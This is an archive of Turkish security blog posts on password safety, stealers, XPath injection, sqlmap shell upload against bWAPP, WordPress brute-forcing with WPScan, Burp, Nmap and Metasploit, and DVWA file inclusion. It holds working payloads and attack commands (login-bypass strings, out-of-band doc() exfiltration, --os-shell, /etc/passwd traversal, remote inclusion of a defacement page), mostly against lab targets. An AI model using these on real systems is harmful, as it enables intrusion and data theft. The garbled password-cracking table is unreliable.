Newest Post

Archive for Aralık 2018


Teknoloji gün geçtikçe hayatımızın ayrılmaz bir parçası oldu.Teknoloji ne kadar hızlı gelişiyorsa, kişisel verilerimizi koruma ihtiyacımızda aynı hızla artmıştır. Koruma ihtiyacımızla beraber parola, şifre, pin, TAN gibi kavramları daha çok duymaya başladık. İlk başta bunlar arasındaki farkları açıklamak istiyorum.

Parola: Herkesin erişmesini istemediğimiz bir kaynağa, erişebilmek için önceden belirlenmiş karakter dizisidir.
Şifre: Gizli haberleşmeye yarayan işaretlerin tümüne verilen isimdir.
Pin: Kişisel tanıtım numarası diye Türkçe çevirebiliriz. 4 veya 6 rakamdan oluşur.
TAN: Genelde bankacılıkta kullanılan tek seferlik parolalar dır.
Bilgisayarlarımızın her gün biraz daha güçlenmesiyle beraber parola kırma güçleri de artmıştır.

Parola uzunluğu ve çözmek için gereken süreler;

3 haneli →yaklaşık 0,2 Saniye
5 haneli →yaklaşık 14 Dakika
58 haneli →yaklaşık 53252 Saat
510 haneli →yaklaşık 1179469 Hafta
512 haneli →yaklaşık 84168853 Yıl
515 haneli →yaklaşık 19 104 730 610 573 Yıl
Verilerimizi emanet ettiğimiz bu karakter dizisini daha güvenli hale getirmek için belli başlı yollar var.

Parolamız en az 8 karakterden oluşmalıdır.
Büyük ve küçük harfler içermelidir.
Harflerin yanı sıra rakam ve özel karakterlere yer verilmelidir.
Kişisel bilgilerimizi parola olarak KULLANMAMALIYIZ.(Örneğin adınız, soyadınız, doğum tarihiniz)
Sözlükteki kelimeler değiştirilmeden parola olarak kullanılmamalıdır.
Parolanın akılda kalıcı olması gerekir. Not olarak tutulan parolalar erişildiği zaman hiçbir anlam ifade etmez.
Hatırlanması kolay güçlü parola oluşturma ipuçları;

Cümlelerin baş harflerini birleştirebiliriz.
Bir elin nesi var, iki elin sesi var. 1Env,2Esv.
Ben 1980 yılında Ankara’da doğdum. B1980yAd.
Harf yerine rakam kullabiliriz.
B → 8
Z → 2
I, İ,L, → 1
O →
S → 5
G → 6
Bir cümledeki sadece sesli veya sadece sessiz harfleri kullabiliriz.
Bu örnek 1 parola.  brnk1prl.
Bu örnek 1 parola.   uöe1aoa.
Klavyedeki tuşlara sırasıyla basılarak oluşturulan parolalar GÜVENSİZDİR.
123qwe  , qwe123 , asdqwe  gibi karakter dizilerinin kullanılması önerilmez.


Güçlü bir parola oluşturduk fakat bunun kötü niyetli kişiler tarafından öğrenilmemesi için ne yapmalıyız. İlk başta bizim parolamıza başka insanlar nasıl erişebilir onların yollarına bakalım.Kötü amaçlı kişiler, gizli bilgilerinize ulaşmak için keylogger denilen küçük ve sizler tarafından farkedemeyeceğiniz programlardan faydalanırlar.
Bu programlar virüs niteliğinde olup, bilgisayarlarınıza resim, ses dosyası, video dosyası, mail ve çeşitli dosyalarla bulaştırılırlar. Keyloggerin görevi, sizin klavye kullanırken bastığınız tuşların harf ve rakam karşılıklarını, kötü amaçlı korsan kişiye yollamaktır. Böylelikle gizli bilgileriniz ve şifreleriniz ele geçirilmiş olur.

KeyScrambler , sizi bu duruma karşı koruyabilecek önemli bir güvenlik yazılımıdır. KeyScrambler Personal, sizin klavye ve tuş verilerinizi 38 farklı tarayıcıda koruyacak şekilde yapılmıştır. Artık siz klavyede yazmaya başladığınız andan itibaren, klavye vuruşlarınız şifrelenmeye başlayarak bilgilerinize ulaşılmasını engelleyecek. Özellikle şifre ve parola kullanarak girdiğiniz çok önemli sitelerde, gizlilik oldukça önemlidir. Bununla beraber online bankacılık güvenliği anlamında hayati önem teşkil eden güvenlik sorunlarının başında keyloggerlar gelir. Bu yazılım sayesinde, online bankacılık işlemlerinizi güvenle yapabileceksiniz.

Genel olarak stealer ve keyloggerlar TCP yerine UDP protokollerini kullanır. UDP daha az güvelidir bunun sebebi ise UDP debugging ve veriyi yeniden yollamayı desteklemez. Programınız TCP protokolünü desteklemiyor ise bu bir problem olabilir.

Phishingler
Phishinglere gelecek olursak phishingler de bir web sitenin kopyasıdır dersek yeridir. Phishingler sayesinde kullanıcılara girmek istedikleri web sitenin kopyasını açtırırlar. Bu web siteye girdiğiniz zaman da kullanıcı adı ve şifre paneline herhangi bir kullanıcı adı veya şifre girerseniz kötü niyetli kişilere ulaşır ve kötü niyetli kişiler de bu verilerinizi ele geçirmiş olurlar. Bütün bu zararlılardan korunabilmeniz için yine sağlam bir anti virüs yazılımına ihtiyacınız vardır. Anti virüs yazılımı olarak da sizlere Avira veya ESET gibi anti virüs yazılımlarını önerebiliriz. Bu anti virüs yazılımlarının içerilerinde anti – phishing gibi özellikler vardır. Zaman içerisinde anti virüs yazılımları da bu virüslerin türevlerini tespit etmiş ve bu türevlere göre de özellikler sunmaya başlamışlardır.

Stealer Nedir?
Stealer analizi diğerlerine göre daha zor olan bilgisayar güvenliğini tehdit eden zararlı yazılımdır. Stealer açıldığında kayıtlı şifreleriniz ftp veya gmail adresine gönderilir. Başlangıca eklenmez bir defa çalıştıktan sonra kendini yok eder. Tabiki bu genel stealer tanımı. Artık yeni özellikler eklendi. Özel bir hedef için hazırlanır ve şifre alındıktan sonra dosya kendini siler. Tabiki bu silme tam anlamıyla olmaz, geri getirilebilir. Local stealerlar ise genelde unuttuğunuz şifreleri görmek için kullanılır. Yazılımı açtığınızda kayıtlı şifrelerin hepsi gösterilir.

Nasıl çalışır?
Bir builder vardır. Gerekli ayarları yaparsınız ve size bir server oluşturur. Karşı tarafa bu dosya sosyal mühendislik ile açtırılır. Açıldığı anda stealerın özelliğine göre bilgisayardaki kayıtlı şifreleri gönderir ve kendini siler. Antivirüsler yakalayamayabilir. Güvenlik duvarınız güçlüyse diske eriştiğini ve bağlantı verdiğini gösterecektir. Bağlantıyı iptal edemezseniz bütün şifrelerinizi değiştirmelisiniz.

Nasıl korunuruz?
Serveri not defterinde veya hex workshop‘da açarsanız genellikle bilgilere ulaşırsınız. Şifreler genelde base64 ile şifrelenir. İnternetten decode edebilirsiniz. Onun dışında antivirüsün yanında sağlam güvenlik duvarı gerekli. Bağlantınızı şifrelemeniz çeşitli stealerlara karşı korusada %100 koruma sağlamıyor. En sağlam önlem ise çerez tutmamak. Tarayıcınız her zaman gizli modda olsun, hem geçmişi kaydetmez hem de çerez tutmaz böylelikle kayıtlı şifreniz olmaz.

Parola Güvenliği

31 Aralık 2018 Pazartesi
Xpath Injection Nedir ?


İlk önce Xpath’in ne anlama geldiğine bir bakalım . Xpath , XML dökümanları üzerinde basit tipte sorgulama yapmamıza izin veren bir dildir. Yapısı gereği kullanıldığı birçok alan vardır . Örnek olarak XQuery ve XSLT gibi. Tam olarak yaptığı iş , XML dökümanı içerisinde lokasyon aramak ve bulmak diyebiliriz.

Web uygulamalarında veriler veritabanı sunucusunda çeşitli şekillerde depolanabiliyorlar. Sunucudaki veri depolama formatı RDMBS(Relational Database Management System), LDAP(Lightweight Directory Access Protocol) veya XML (Extensible Markup Language) gibi formatlarda olabilir. Uygulama , kullanıcının veri giriş alanlarına girdiği verilerden sorgular oluşturur ve sunucuya gönderir. Sorgunun sunucuda çalışması sonucunda dönen veriler kullanıcıya sunulmaktadır .

Xpath ınjection saldırılarında saldırgan Xpath sorgulama diline , XML veritabanına ve uygulamanın yazıldığı programlama diline hakim olması gerekir.

XML veritabanı , verileri alışılagelmiş olan tablolar içerisinde kolon ve satırlarda değilde , XML dökümanı içerisinde ağaç yapısındaki node’larda saklanır.



XML Veritabanı Ağaç Yapısı

XML veritabanında kullanıcıları için tablolara, kolonlara veya sorgulara erişimde sınırlamalar getirilmemiştir. Farklı kullanıcılar için farklı erişim seviyeleri bulunmamaktadır. Gerekli önlem alınmadığı takdirde herhangi bir kullanıcı tüm XML dökümanına erişebilir. Bu da, uygulamada XPath açığı bulunması halinde saldırganın tüm XML veri tabanını ele geçirebilmesi anlamına gelmektedir.

Bu saldırı yöntemine sebep olan durumları, teknikleri ve saldırının oluşturacağı sonuçları hem yazılım geliştirici hem de sistem yöneticisi iyi bir şekilde bilmeli ve sistemin güvenliği için gerekli önlemler alınmalıdır.

XML veritabanında kullanıcıları için tablolara , kolonlara veya sorgulara erişimde sınırlamalar getirilmemiştir. Farklı kullanıcılar için farklı erişim seviyeleri bulunmamaktadır. Gerekli önlem alınmadığında takdirde herhangi bir kullanıcı tüm XML dökümanlara ulaşabilir . Bunun sonucunda oluşan güvenlik zaafiyeti olan Xpath açığı bulunması halinde saldırganın bütün XML veri tabanını ele geçirmesi anlamına gelmektedir.

Örnek olarak anlatmak istersek:

Simdi bizim bir Mert diye bir arkadaşımız var. Aşağıda bir kullanıcı adı ve sifre belirliyorum ona göre işlem yapalım.

Kullanıcı Adı= CYPM

Şifresi = CYPM

Şimdi  /user[kullaniciadi=“CYPM” and sifre=“CYPM”]  sorgusu uygulama tarafından oluşturularak sunucuya gönderilir. Bu sorgu sonucunda bize (true and true ) = TRUE dönecektir ve mert arkadaşımız sisteme giriş yapmış olacaktır.

Xpath injection saldırısı ile de kullanıcımız bu yetkilendirme aşamasını atalatabilir. Sistemde Xpath İnjection açığı varsa saldırganın giriş formlarına yazacağı,

Eğer Saldırgan kullanıcı adını bilip sifreyi bilmiyorsa:

Kullanici Adı= mert “ or “1” = “1

Şifresi= herhangibirsifre

değerleri ile servera gönderilecek sorgu = /user[kullaniciadi=“ mert” or”1”=“1 ” and sifre=“herhangibirsifre”]  şeklinde olacaktır ve mantıksal işleyişi de şu şekilde olacaktır :

True or (True and False) -> True or False = TRUE olacaktır ve mert arkadaşımızın yetkileri ile giriş yapmış olacağız.

Xpath sorgulamada yorum satırı “< >” tag’leri arasına yazılır. SQL Injectionda olduğu gibi “ – – “ karakterlerinden sonra yazılan mesela şifrenin bilinmemesinden kaynaklanan False değeri, yorum satırı haline getirilip elenemez. Bunun yerine “ 1=1 ” gibi “True” bir ifadeyle “and” işleminin “or” işlemine göre önce işleme alınması kullanılarak False olan şifre değeri elenir ve bu şekilde sisteme girişi yapmış oluruz.

Eğer saldırganımız Kullanıcı Adını da bilmiyorsa şu şekilde giriş yapabilir.

Kullanıcı Adı= herhangibirAd or “1” = “1” or “1” = “1

Sifresi= herhangibirsifre

değerler girildiğinde /*[1]/user[kullaniciadi=“ herhangibirAd” or “1” or “1” =“1 and sifre=“herhangibirsifre”]  sorgusu servera gönderildiğinde bu sorgudaki mantıksal işlem False or True or (False and True)->

True or False = TRUE olacaktır ve bu işlem XML dosyasındaki ilk nodu çalıştıracak ve ilk kullanıcının yetkileri ile sisteme giriş yapılmış olacaktır.

Başka bir Örnek daha verecek olursak :

<?php

$test=$_GET[‘test’];

if($test)

{

$xml=simplexml_load_file(“aa.xml”);

$result=$xml->xpath($test);

print_r($result);

}

?>

Şimdi bu yukarıda yazdığım aa.xml dosyasına xpath query gönderdiğimize dikkat ediyoruz. Bu dosyaya bakıyoruz.

<?xml version="1.0" encoding="UTF-8"?>

<note>

<to> xxx</to>

<from> xuxuxux </from>

<heading> Mektup </heading>

<body>  üyeyim </body>

</note>


XML dosyasında taglere bakıyoruz. PHP dosyamıza göre sorguları gönderelim.


Index.php?test=from:

#Array ( [0] => simpleXMLelement Object ([0] => xuxuxux ) )

Index.php?test=*

#Array ( [0] => simpleXMLelement Object ( [0] => xxx ) [1] => simpleXMLelement Object ( [0] => xuxuxux )

[2] => simpleXMLelement Object ( [0] =>Reminder ) [3] => simpleXMLelement Object ( [0] => üyeyim ) )


işte XML dosyasındaki tüm objectler karşımızda.

Blind Xpath Injection Nedir ?

Blinde Xpath ınjection , saldırganın veritabanı ile alakalı oluşturduğu boolean boolean cevaplı sorguları sunucuya göndererek XML dökümanını çözmeye çalışmasıdır.

Bliend injections saldırısı . Xpath açığı bulunan web sitesi sayfalarından gönderilen “true ” veya “false” cevaplarıyla şekilleneceği için , uygulamada sorgulara cevap olarak “true” veya “false” olarak dönen sayfaların belirlenmesi gerekir ki cevaplar bu sayfalar ile anlaşılabilsin.

Xpath Injectionda Kullanılan Fonksiyonlar :

Count(item): Node içindeki attributelerin(nitelik,yetenek) sayısını verir.
Name() : Node ismini verir.
String-length(string) : Belirlenen string değerin uzunluğunu verir.
Substring(string,start position, length) : Belirlenen string içerisinde istenilen pozisyondan başlayarak istenilen uzunluktaki alt stringi döndürür.
Starts-with(string1,string2) : String1 değeri string2 değeri ile başlıyorsa “true ” , başlamıyorsa “false” döndürür.
Contains(string1,string2) : String1 değeri string2 değerini kapsıyorsa true, kapsamıyorsa false döner.
Fonksiyonlar kullanılarak XML dökümanının içeriği brute force kullanılarak , deneme yanılmayla çıkarılmaya çalışılır.

Mesela substring() ve name() fonksiyonları kullanılarak or substring(name(parent::*[position()=1]), 1, 1)=‘a sorgusu ile ilk node’un isminin ilk karakterinin ‘a’ olup olmadığı sunucuya sunulur.

Done coeval true ise 2. karakterin bulunabilmesi için yeni bir sorgu gönderilir , false ise ‘a’ karakteri yerine olabilecek farklı karakterler true cevabı dönene kadar denenir.

Bu fonksiyonlarla oluşturulan sorgularla karakterler denenerek node isimleri ve değerleri bulunur. Yorum satırı varsa çözülür. Varsa alt nodelar içinde süreç tekrarlanarak XML dökümanı ele geçirilir.

Xcat Aracı

Bütün bunları manuel olarak yapmaya çalışırsak zaman alacağını söylememe gerek yok sanırım . Bu yüzden sağolsunlar Xcat adlı Xpath injection ile veritabanını ele geçirmeye çalışan araç hazırlamışlar.

Python dili ile yazılmıştır. Xpath 2.0 içerisindeki fonksiyonları da kullanmasıyla çok daha hızlı hale gelmiştir.

XML Dosyasının Hangi Directory`de Çalıştığının Belirlenmesi :

Xpath 2.0 versiyonunda base-uri() fonksiyonu sorgunun hangi direktöride çalıştığını döndürür. Bu şekilde dökümana uzaktan erişim sağlanır.

Versiyon Belirleme :

Xpath versiyonun belirlenmesi için , bir büyük harfin “lower-case()” fonksiyonu kullanılarak küçük harfe çevrilip çevrilmediğini kontrol edilir. Lower-case fonksiyonu v1.0 da tanımlı olmadığından sonuç null

dönüyorsa versiyonun 1.0 olduğu , lower-case(‘A’)=‘a’ sonucu alınıyorsa Xpath 2.0 versiyonu olduğu anlaşılır.

Veri Deneme Alanının Daraltılması :

Xpath 2.0 ile gelen fonksiyonlar kullanılarak Xpath 1.0 versiyonunda yapılan bling injection veri deneme alanı daraltılabilmektedir. Böylelikle serverea gönderilen istekler azaltılmış olur ve daha kısa sürede saldırı gerçekleşmiş olur. Servere yapılan istekleri sayısını azaltmak için birçok teknik kullanılmaktadır.

-Unicode Normalizasyonu :

Unicode-Normalization() fonksiyonu kullanılarak unicode karaketerler ascii karakterlere çevrilebilir. Bu şekilde arama ascii değerler arasından yapılacağı için unicode gibi geniş karakterler dizisinin kullanılmasına
gerek yoktur. Fakat bazı karakterlere Unicode Normalizasyonu uygulanamadığı için veri kayıpları olmaktadır. Mesela ‘á’ karakteri ‘a’ karakterine ve ascii koduna çevrilir.

-String Code Point :

Xpath 2.0 içerisindeki string-to-codepoints() fonksiyonu ile bir string ifade eden her karakteri ayrı ayrı gösterilen sayılar dizisine dönüştürelebilir. String-to-codepoints(“abc”) = (97,98,99) , bu dönüşüm sonucunda sadece string karakterler deneneceği için deneme alanın daralması dolayısıyla servera gönderilen isteklerin azalmasını sağlar.

-Matches() Fonksiyonu :

Bu fonksiyon sayesinde , blind injection ile değeri denenerek bulunmaya çalışılan karakterlerin küçük büyük harf mi, sayı mı , sembol mü olduğu sorgular gönderilerek önceden öğrenilir. Böylelikle sadece belirlenen kategorinin karakterleri denenir ve sorgu sayısı azaltılmış olur.

 matches(/users/user[1]/kullaniciadi/text(),”[A-Z]”)

-Error() Fonksiyonu ile Sorgu Sonucu Bulma :

Uygulamada , servera gönderilen sorguların sonuçları için serverdan dönen “true” ve “false ” sayfaları yoksa , error() fonksiyonu kullanılarak sorgunun sonucu öğrenilir.

and(if($sorgu) then error() else 0) and ‘1’ = ‘1  surge parametere içine yazılabilecek olan sorgunun sonucu True ise error() fonksiyonu çalışacak ve hata sayfası görünecektir.

Doc() Fonksiyonu :

–Doc() fonksiyonu lokal sistemde veya uzak serverdaki xml dosyalarının okunmasının okunmasını sağlayan Xpath 2.0 versiyonun fonksiyonudur. Doc() fonksiyonu sayesinde saldırgan Xpath açığı bulunan uygulamanın , dosya sistemi üzerindeki XML veritabanını yetkisi olmadan görüntüleyebilir.

doc(“file:///etc/conf/config_file.xml”)/*[1]/text()  sorgusu ile lokal sistemde config_file.xml dosyası içinde ilk node da bulunan verileri görüntületir.

Hedef serverdan XML dökümanını doc() fonksiyonuyla çekebilmek için tıpkı SQL Injection’ın Out Of Band saldırısında olduğu gibi saldırgan HTTP protokolünü ve DNS isteklerinide kullanabilir.

HTTP protokolüyle saldırgan doc() fonksiyonuyla oluşturduğu ifadeyi GET isteğiyle hedef servera gönderir. Hedef server tarafından isteğin zararlı olduğu engellenmez ise cevap olarak , ifade içindeki Xpath sorgusu çalıştırılarak saldırganın serverine gönderilir. Bu şekilde XML dökümanı Blind injection’a göre daha hızlı ve kısa sürede ele geçirilir. Hız sadece veritabanından verileri çekerken HTTP protokolünün veriyi çekerken taşıyabileceği maksimum paket büyüklüğü ile sınırlıdır.

Servera HTTP isteği gönderilirken gerekli Xpath sorgu ifadeleri URL’ ye concat() fonksiyonu ile eklenir. Sorgu ifadesinin içerisinde özel ifadeler bulunmayacağından , gönderilmeden önce encode-for-uri() fonksiyonu kullanılarak url encode edilmelidir.

doc(concat(“http://örneksite.com/savedata.py?d=”))


HTTP isteği çoğu durumda server tarafından firewall engellemesine takılabiliyor. Bu durumda saldırgan isteği hedef serverda çalıştırabilmek için DNS isteğinde bulunur. Saldırgan hedef DNS serverinden kendi serverinin adresini istekte bulunur. Hedef server gelen isteği saldırganın serverine ileterek cevap bekler. Saldırgan serverinden cevap olarak kendi adresine Xpath sorgusunuda ekleyerek hedef bilgisayara gönderir,sorgu çalışır ve hedef server tarafından DNS isteğinin cevabı ile Xpath sorgusunun sonucunda dönen veriler saldırganın bilgisayarına gönderilir.

Xpath Saldırısından Korunma Yolları :

Öncelikli olarak uygulama geliştirici code kısmında ,kullanıcının veri girişine izin verdiği alanlarda girilen karakterlerin bir Xpath sorgusu teşkil etmemesi için girişleri filtreleyerek sınırlamalar getirilmelidir.

Sınırlama kullanıcının girmemesi gereken karakterler yerine girebilme ihtimali olan karakterler dışında kalanları filtrelemek ile gelecekte çıkacak olan zero-day saldırılarına karşıda bir nevi önlem alınmış olur.

Girdi olarak Xpath fonksiyon isimleride kesinlikle engellenmelidir. Sınırlamalar yazılımla client tarafta yapıldığı gibi , server tarafında da firewall kurallarıyla kontrol edilmeli ve önlem alınmalıdır.

Parametreli sorgular kullanılmalıdır. Parametreli sorguda kullanıcı girdilerinin direkt olarak çalışma zamanında kullanılmasının yerine önceden compile edilerek kullanılmış olurlar. Böylece çalışma zamanında kod çalıştırma engellenmiş olur.

Bu yazıda SQL Injection kullanarak  Sqlmap ile shell yükleyerek sisteme sızacağız. Bunun için Kali Linux,Burpsuite,Sqlmap ve bWAPP (Web Açıklıkları Bulunan Sistem) i kullanacağım.

bWAPP ı https://sourceforge.net/projects/bwapp/ adresinden indirerek sanal makinanızda ayağa kaldırıp ip adresi ile tarayıcınız üzerinden erişebilirsiniz. Ulaştığınızda kullanıcı adı : bee şifresini : bug olarak girdiğinizde uygulamaya giriş yapacaksınız. Burada bir çok web uygulama açıklıkları bulunmakta. Biz sqli kullanarak shell yükleyeceğiz.


Burpsuite i açarak uygulamızıda açıyoruz ‘ işareti ile kontrol ettiğimizde resimdeki gibi sqli olduğuna dair bizi mutlu eden hatayla karşılaşıyoruz. Aynı zamanda burp ilede cookiemize ulaşabiliyoruz.


Daha sonra  sqlmap ile url ve cookie mizi aşağıdaki parametrelerle birlikte –os-shell ekleyerek çalıştırıyoruz

sqlmap -u "http://192.168.237.135/bWAPP/sqli_1.php?title=%C4%B1ronman&action=search" --cookie="security_level=0; PHPSESSID=4e4cf5609dfa54a19f3ee164c8d21f75" --os-shell





Sqlmap komutumuzu çalıştırdığımızda bize yukarıdaki gibi hedef sistemin dilini soruyor bu yazılım için php yani 4 diyerek devam ediyoruz.



Daha sonra dosyamızın nereye yükleneceğini soruyor burada 1 i seçerek devam ediyoruz.


Daha sonra dosyamızın yüklendiği adresleri yukarıda gördüğünüz gibi göstermekte.


192.168.237.135/tmpuidmm.php adresine gittiğimizde  shellimizi yükleyebileceğimiz bir sayfa gelmekte.


iyi çalışmalar
Bugün 5 farklı yolla wordpress sitelerine brute force ataklarını göstereceğim!

1-WPScan
2-Burp Süiti
3-Nmap
4-Metasploit


1-WPScan



WPScan, kali linux'a önceden yüklenmiş ve güvenlik açıklarını tarayan ve eklentiler ve temalar vb. Hakkında bilgi toplayan bir WordPress güvenlik tarayıcısıdır.



brute force atağı için iyi bir parola listesine sahip olmanız gerek



wpscan --url www.example.com --threads 1 --wordlist /usr/share/wordlists/parola.txt --username admin -v --random-agent --proxy socks5://127.0.0.1:9050


2-Burp Suite



POST verilerini yakalamak için tarayıcıyla burp suite proxy'i ayarlamanız gerekir, bunu Ayarlar > Tercihler > Gelişmiş > Ağ'a giderek yapabilirsiniz .

Şimdi, El ile proxy Yapılandırması'nı seçin  ve yerel ana bilgisayar adresinizi HTTP proxy sekmesinde yazın ve bağlantı noktasını 8080 olarak ayarlayın . Tamam'ı tıklayın

Durdurmayı açtığınızda, burp suite'in yakalayabilmesi için tahminlerinizin herhangi bir şifresini yazın. Resme bakın, alınan satırdaki son satırı dikkat edin,  sırasıyla admin: admin yazarak kullanıcı adı ve parola olarak giriş yapmaya çalıştığımı gösteriyor  .



Yakalanan materyali, alana sağ tıklayarak ve Davetsiz misafire gönder  seçeneğini seçerek davetsiz misafire gönderin  veya sadece ctrl + i tuşlarına basın



Şimdi Pozisyonlar Sekmesine gidin.


Burada tüm POST verilerinizi seçmelisiniz ve önce sil düğmesine tıklayın .


Burada yönetici üzerine tıklamalısınız : admin ve kullanıcı adı ve şifre yüklerimiz için pozisyonlara eklemek için tıklayın.


Böylece artık yük taşıma pozisyonumuzu ekledik ve saldırı tipimizi küme bombası olarak değiştirdik. Şimdi Payloads sekmesine tıklayacağız.



Bu yük, kullanıcı adı içindir, hedeflenen site kullanıcı adını bilmiyorsanız, kullanıcı adınız için özel kelime listenizi ekleyebilir ve yük üzerine tıklayarak sözcük listesini yolundan yükleyebilirsiniz.



Bu yük, parola içindir ve özel kelimelerinizi yeni bir öğe olarak ekleyebilirsiniz veya özel kelime listenizi yükle tıklayarak yükleyebilirsiniz.

Artık yüklerimiz bitti ve “Saldırı Başlat” düğmesini tıklatarak saldırımıza başlayacağız.




3-Nmap


Nmap ayrıca bizim için bir ağ taraması ile brute force yapar


Popüler bir uygulamayı hedefliyorsanız, saldırılara yönelik NSE komut dosyaları olup olmadığını kontrol etmeyi unutmayın. Örneğin, WordPress kurulumları şu komut dosyası ile denetlenebilir  http-wordpress-brute:


$ nmap -p80 --script http-wordpress-brute <target>


$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.threads=5 <target>

sunucuda koruma varsa proxy kullanabilirsiniz

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.hostname="ahostname.wordpress.com" <target>



4-Metasploit


Metasploit, istismar etme, güvenlik açığı taraması, fuzzing ve yardımcı tarama ve daha birçok şey için kullanılabilecek harika bir araçtır.


msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set rhosts 127.0.0.1
msf auxiliary(wordpress_login_enum) > set rport 80
msf auxiliary(wordpress_login_enum) > set user_file /root/Desktop/user.txt
msf auxiliary(wordpress_login_enum) > set pass_file /usr/share/wordlists/parola.txt
msf auxiliary(wordpress_login_enum) > exploit




File Inclusion Nedir?


File Inclusion, yani dosya dahil etme saldırısı saldırganın hedef web sitesine bir dosya dahil etmesine ya da hedef web sitesinin kendinde olan ama sunmadığı bir dosyayı görüntüleyebilmesine denir. 

File Inclusion açıklığını kullanan iki tür saldırı vardır: Bunlardan birincisi Local File Inclusion diye adlandırılmaktadır, ikincisi ise Remote File Inclusion diye adlandırılmaktadır. Local File Inclusion saldırısı hedef sitenin barındığı sunucudaki ziyaretçilere sunulmamış dosyanın hedef site üzerinden görüntülenebilmesine denir. Remote File Inclusion saldırısı ise hedef siteye saldırganın kendi dosyasını (mesela shell dosyasını) görüntületmesine denir. 


File Inclusion Nasıl Yapılır?


Bu başlık iki ayrı alt başlıkla devam edecektir: Local File Inclusion ve Remote File Inclusion diye. Fakat önce DVWA'nın bize sunduğu sayfayı bir inceleyelim. Öncelikle DVWA'nın File Inclusion sayfasına geçiş yapın: 



Ardından tarayıcınızın adres çubuğunda görüntülenen bulunduğunuz sayfanın linkine bakın: 

http://localhost/dvwa/vulnerabilities/fi/?page=include.php 

? işareti parametrelerin sıralanacağı kısmın başını ifade eder. = işareti parametreye değer atanacağını ifade eder. Yukarıdaki linkte bir tane parameter ve bir de onun değeri mevcuttur. Bu parametrenin ismi page, yani sayfadır. Değeri ise bir dosya ismidir. 

Şimdi ekranın sunduğu [file1.php], [file2.php] ve [file3.php] linklerine sırayla tıklayalım ve linkteki değişimi ve içerikteki değişimi gözlemleyelim: 




[file1.php] 'e tıklandığında: 




[file2.php] 'ye tıklandığında: 




[file3.php] 'e tıklandığında: 



Görüldüğü üzere page parametresi sırayla değişik 3 tane dosya ismi almaktadır ve aldığı değerlere göre içerik değiştirmektedir. Yani linkteki page parametresi içerik olarak yansıtılacak php dosyasını belirleyen bir dosya seçici olarak kullanılıyor. Bu seçim sonucunda mevcut sayfanın barındığı 

http://localhost/dvwa/vulnerabilities/fi/ 

dizinindeki bir dosya index.php’ye, yani hal-i hazırda görüntülüyor olduğumuz File Inclusion sayfasına dahil ediliyor. Bu mekanizmaya File Inclusion, yani Dosya Dahil Etme denmektedir. Bu gözlemler sonrası şimdi saldırı aşamasına geçelim. 

Local File Inclusion 

Yukarıda bahsedilen File Inclusion mekanizması üzerinden acaba Local File Inclusion saldırısı gerçekleştirebilir miyiz? Yani mesela linux sunucularında tutulan /etc dizini altındaki passwd gibi hassas bir dosyanın içeriğini sitenin linkindeki parametre değerini oynayarak sayfaya seçtirtip ekrana yansıtabilir miyiz? Eğer güvenlik önlemi alınmamışsa cevap evet. 

Madem URL'nin parametresi sunucuda bulunan dosyaların isimlerini alıyor ve buna göre ilgili dosyanın içeriğini ekrana yansıtıyor. O zaman bunu sunucuda kullanıcı adlarının ve detaylarının tutulduğu dosyayı ekrana yansıtmak maksadıyla kullanmayı deneyelim. Bulunduğumuz dizin şudur (Linux üzerinde DVWA'yı çalıştırıyor olduğunuz varsayıldı): 

/var/www/dvwa/vulnerabilities/fi/ 

Yukarıdaki dizin şu an görüntülüyor olduğumuz sayfanın dizinidir. Bizim hedefimiz /etc dizinindeki passwd dosyasına ulaşmaktır. Çıkmamız ve dallanmamız gereken yolları daha iyi kavrayabilmeniz için linux sistemlerin dosya hiyerarşisine bakalım. 



Görüldüğü üzere Linux’ta etc klasörü var klasörünün bulunduğu dizindedir (havuzdadır). Dolayısıyla bizim bulunduğumuz 

/var/www/dvwa/vulnerabilities/fi/ 

dizininden var klasörüne geçebilmemiz için birkaç kez üst dizine çıkmamız gerekir. Yani var klasörüne varana kadar üst dizine çıkmalıyız: 


fi                         ../
vulnerabilities            ../
dvwa                       ../
www                        ../
var                        ../


Böylece anlarız ki 5 tane ../ komutundan kullanırsak var’ın yer aldığı havuza, yani kök dizine ulaşırız. Eğer görüntülüyor olduğunuz sayfanın linkindeki page parametresine değer olarak 

../../../../../ 

eklersek fi klasörünün içinden çıkıp taaa var klasörünün yer aldığı klasör havuzuna erişiriz. Sıradaki işlem var klasörünün sibling’I (kardeşi) olan etc klasörüne dallanmaktır. Bunun için /etc/ dizini eklenir ve sonrasında etc klasörü içerisinde barınan dosyanın ismi eklenir: 

../../../../../etc/passwd 

Böylece 

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd 

linkini enter'ladığımızda ekrana kullanıcı adı, kullanıcıların ait oldukları gruplar gibi bilgiler, yani passwd dosyasının içeriği yansıtılır. Aşağıda nasıl göründüğünü görebilirsiniz.




Böylece Local File Inclusion saldırısını gerçekleştirmiş olduk. Edinilen kullanıcı adları bir Brute Force saldırısında kullanılabilir ve böylelikle hedef web sitesinin sunucusuna sızılabilir. 

Local File Inclusion (LFI) açığı ile başka kritik dosyalar da okunabilir. Mesela log dosyaları: access.log , error.log gibi. İş tamamen hedef sistemin klasör yapısını bilmeye bakıyor. Klasör yapısını ezberlemeye çalışmayın. Gerçi bu tip şeylerle meşgul oldukça bu ezber kendiliğinden geliyor ama en basitinden bilgisayarınızda bir linux sistemi açıp dilediğiniz kritik dosyayı sisteme CTRL+F ile arattırabilirsiniz. Böylece bulduğunuz dizini bu dersin URL’sindeki parametreye değer olarak koyup seçtiğiniz dosyanın içeriğini ekrana yansıttırabilirsiniz. 

Remote File Inclusion (RFI) 

RFI saldırısı tıpkı LFI saldırısının kullandığı güvenlik zafiyeti olan File Inclusion açığından faydalanır. İşleyiş aynıdır. Fakat bu sefer ekrana dahil edilecek sayfa hedef sitenin sunucusunda yer alan dosya değil de harici bir dosya olacaktır. 

Diyelim ki dahil edilecek harici dosyanın içerisinde şunlar var: 

1
2
3
4
5
6
7
8
<br><br><br><br><br><br><br>
<font color="red">
<center>
<h1>Hacked By falan filan
</h1>
</center>
</font>
<br><br><br><br><br><br><br>


Bu dosyanın yer aldığı web sitesinin linki page parametresinin sonuna eklenir: 

http://localhost/dvwa/vulnerabilities/fi/?page=http://www.birsiteadi.com/dosya.html 

